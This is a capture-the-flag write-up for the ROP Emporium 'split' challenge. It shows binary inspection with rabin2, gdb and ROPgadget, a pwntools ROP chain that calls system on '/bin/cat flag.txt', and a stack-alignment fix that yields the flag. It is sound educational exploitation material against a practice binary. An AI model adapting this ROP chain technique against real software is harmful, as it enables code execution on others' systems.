2. split
the second challenge, now the element of the first challenge is still present
in this challenge but the string "/bin/cat flag.txt"
is not in the same function
as the first challenge, we have to somehow find the string and put it in the register and
call the system function.
in this challenge the binary is NX enabled so we can't just execute the stack.
now we really need to use ROP to solve the challenge, we can check the binary permissions using
rabin2
or checksec
, I'll use rabin2
here.
┌──(kali㉿kali)-[~/ctf/rop/split]
└─$ rabin2 -I split
arch x86
baddr 0x400000
binsz 6805
bintype elf
bits 64
canary false
class ELF64
compiler GCC: (Ubuntu 7.5.0-3ubuntu1~18.04) 7.5.0
crypto false
endian little
havecode true
intrp /lib64/ld-linux-x86-64.so.2
laddr 0x0
lang c
linenum true
lsyms true
machine AMD x86-64 architecture
nx true
os linux
pic false
relocs true
relro partial
rpath NONE
sanitize false
static false
stripped false
subsys linux
va true
now, let's investigate the binary using gdb
.
gef➤ info functions
All defined functions:
Non-debugging symbols:
0x0000000000400528 _init
0x0000000000400550 puts@plt
0x0000000000400560 system@plt
0x0000000000400570 printf@plt
0x0000000000400580 memset@plt
0x0000000000400590 read@plt
0x00000000004005a0 setvbuf@plt
0x00000000004005b0 _start
0x00000000004005e0 _dl_relocate_static_pie
0x00000000004005f0 deregister_tm_clones
0x0000000000400620 register_tm_clones
0x0000000000400660 __do_global_dtors_aux
0x0000000000400690 frame_dummy
0x0000000000400697 main
0x00000000004006e8 pwnme
0x0000000000400742 usefulFunction
0x0000000000400760 __libc_csu_init
0x00000000004007d0 __libc_csu_fini
0x00000000004007d4 _fini
interesting, what's inside the usefulFunction
..?
gef➤ disas usefulFunction
Dump of assembler code for function usefulFunction:
0x0000000000400742 <+0>: push rbp
0x0000000000400743 <+1>: mov rbp,rsp
0x0000000000400746 <+4>: mov edi,0x40084a
0x000000000040074b <+9>: call 0x400560 <system@plt>
0x0000000000400750 <+14>: nop
0x0000000000400751 <+15>: pop rbp
0x0000000000400752 <+16>: ret
End of assembler dump.
oh, so it's pretty similar to the ret2win
function from the previous challenge
what's the string being put in the register let's see...
gef➤ x/s 0x40084a
0x40084a: "/bin/ls"
ah, so it's just a function to call ls using the system, I'm sure this function is present for the binary to present system inside the binary.
now, let's find some useful strings in the binary using rabin2
.
┌──(kali㉿kali)-[~/ctf/rop/split]
└─$ rabin2 -z split
[Strings]
nth paddr vaddr len size section type string
―――――――――――――――――――――――――――――――――――――――――――――――――――――――
0 0x000007e8 0x004007e8 21 22 .rodata ascii split by ROP Emporium
1 0x000007fe 0x004007fe 7 8 .rodata ascii x86_64\n
2 0x00000806 0x00400806 8 9 .rodata ascii \nExiting
3 0x00000810 0x00400810 43 44 .rodata ascii Contriving a reason to ask user for data...
4 0x0000083f 0x0040083f 10 11 .rodata ascii Thank you!
5 0x0000084a 0x0040084a 7 8 .rodata ascii /bin/ls
0 0x00001060 0x00601060 17 18 .data ascii /bin/cat flag.txt
rabin2 is pretty cool that it also tell us the string address.
okay, let's find ROP gadgets to craft our ROP chain, I'll be using ROPgadget
to do that.
but first let's see what do we need to craft our ROP chain.
first we need to set rdi
register to the address of the string we want to use.
then we need to call the system function. easy enough let's find it.
┌──(kali㉿kali)-[~/ctf/rop/split]
└─$ ROPgadget --binary split | grep rdi
0x0000000000400288 : loope 0x40025a ; sar dword ptr [rdi - 0x5133700c], 0x1d ; retf 0xe99e
0x00000000004007c3 : pop rdi ; ret
0x000000000040028a : sar dword ptr [rdi - 0x5133700c], 0x1d ; retf 0xe99e
we got both the system function address and our gadget now let's craft our ROP chain.
from pwn import *
p = process("./split")
padding = b"X"*40
shell_str_addr = 0x601060
system_addr = 0x400560
pop_rdi = 0x4007c3
payload = padding + p64(pop_rdi) + p64(shell_str_addr) + p64(system_addr)
p.sendline(payload)
print(p.recvall().decode("utf-8"))
here we go...
┌──(kali㉿kali)-[~/ctf/rop/split]
└─$ python write-up.py
[+] Starting local process './split': pid 3485
[+] Receiving all data: Done (87B)
[*] Stopped process './split' (pid 3485)
split by ROP Emporium
x86_64
Contriving a reason to ask user for data...
> Thank you!
huh? what happened why don't we get our flag let's investigate some more by attaching gdb to the process.
let's edit our script a bit.
from pwn import *
p = process("./split")
script = """
break *0x400560
"""
gdb.attach(p, gdbscript=script)
padding = b"X"*40
shell_str_addr = 0x601060
system_addr = 0x400560
pop_rdi = 0x4007c3
payload = padding + p64(pop_rdi) + p64(shell_str_addr) + p64(system_addr)
p.sendline(payload)
print(p.recvall().decode("utf-8"))
now let's debug!
0x400550 <puts@plt+0> jmp QWORD PTR [rip+0x200ac2] # 0x601018 <puts@got.plt>
0x400556 <puts@plt+6> push 0x0
0x40055b <puts@plt+11> jmp 0x400540
●→ 0x400560 <system@plt+0> jmp QWORD PTR [rip+0x200aba] # 0x601020 <system@got.plt>
0x400566 <system@plt+6> push 0x1
0x40056b <system@plt+11> jmp 0x400540
0x400570 <printf@plt+0> jmp QWORD PTR [rip+0x200ab2] # 0x601028 <printf@got.plt>
0x400576 <printf@plt+6> push 0x2
0x40057b <printf@plt+11> jmp 0x400540
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "split", stopped 0x400560 in system@plt (), reason: BREAKPOINT
breakpoint hit let's step into it.
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x7f05949535f4 <do_system+324> mov QWORD PTR [rsp+0x60], r12
0x7f05949535f9 <do_system+329> mov r9, QWORD PTR [rax]
0x7f05949535fc <do_system+332> lea rsi, [rip+0x149a4c] # 0x7f0594a9d04f
→ 0x7f0594953603 <do_system+339> movaps XMMWORD PTR [rsp+0x50], xmm0
0x7f0594953608 <do_system+344> mov QWORD PTR [rsp+0x68], 0x0
0x7f0594953611 <do_system+353> call 0x7f05949fd230 <__GI___posix_spawn>
0x7f0594953616 <do_system+358> mov rdi, rbx
0x7f0594953619 <do_system+361> mov r12d, eax
0x7f059495361c <do_system+364> call 0x7f05949fd130 <__posix_spawnattr_destroy>
────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
[#0] Id 1, Name: "split", stopped 0x7f0594953603 in do_system (), reason: SIGSEGV
why did we get SIGSEGV here, interesting...
after some reasearching i found this:
The MOVAPS issue If you're segfaulting on a movaps instruction in buffered_vfprintf() or do_system() in the x86_64 challenges, then ensure the stack is 16-byte aligned before returning to GLIBC functions such as printf() or system(). Some versions of GLIBC uses movaps instructions to move data onto the stack in certain functions. The 64 bit calling convention requires the stack to be 16-byte aligned before a call instruction but this is easily violated during ROP chain execution, causing all further calls from that function to be made with a misaligned stack. movaps triggers a general protection fault when operating on unaligned data, so try padding your ROP chain with an extra ret before returning into a function or return further into a function to skip a push instruction.
so basically our rsp
is not 16-byte aligned before calling do_system, we can check that by listing our registers.
gef➤ info registers
rax 0x7f0594ae2320 0x7f0594ae2320
rbx 0x7ffdb45c3948 0x7ffdb45c3948
rcx 0x7ffdb45c3948 0x7ffdb45c3948
rdx 0x0 0x0
rsi 0x7f0594a9d04f 0x7f0594a9d04f
rdi 0x7ffdb45c3744 0x7ffdb45c3744
rbp 0x7ffdb45c37a8 0x7ffdb45c37a8
rsp 0x7ffdb45c3738 0x7ffdb45c3738
r8 0x7ffdb45c3788 0x7ffdb45c3788
r9 0x7ffdb45c3be8 0x7ffdb45c3be8
r10 0x8 0x8
see? our rsp
ends with 0x8
which means our stack is not 16-byte aligned.
so we need to make our rsp
16-byte aligned. let's find extra ret
to do that.
0x000000000040053e : ret
cool!, now let's pad our ROP to make our rsp
16-byte aligned.
from pwn import *
p = process("./split")
script = """
break *0x400560
"""
gdb.attach(p, gdbscript=script)
padding = b"X"*40
shell_str_addr = 0x601060
system_addr = 0x400560
pop_rdi = 0x4007c3
ret = 0x40053e
payload = padding + p64(pop_rdi) + p64(shell_str_addr) + p64(ret) + p64(system_addr)
p.sendline(payload)
print(p.recvall().decode("utf-8"))
this should work now let's try it!.
┌──(kali㉿kali)-[~/ctf/rop/split]
└─$ python write-up.py
[+] Starting local process './split': pid 3742
[*] running in new terminal: ['/usr/bin/gdb', '-q', './split', '3742', '-x', '/tmp/pwnobnrixxs.gdb'] [+] Waiting for debugger: Done
[+] Receiving all data: Done (120B)
[*] Stopped process './split' (pid 3742)
split by ROP Emporium
x86_64
Contriving a reason to ask user for data...
> Thank you!
ROPE{a_placeholder_32byte_flag!}
let's go! we got the flag!!!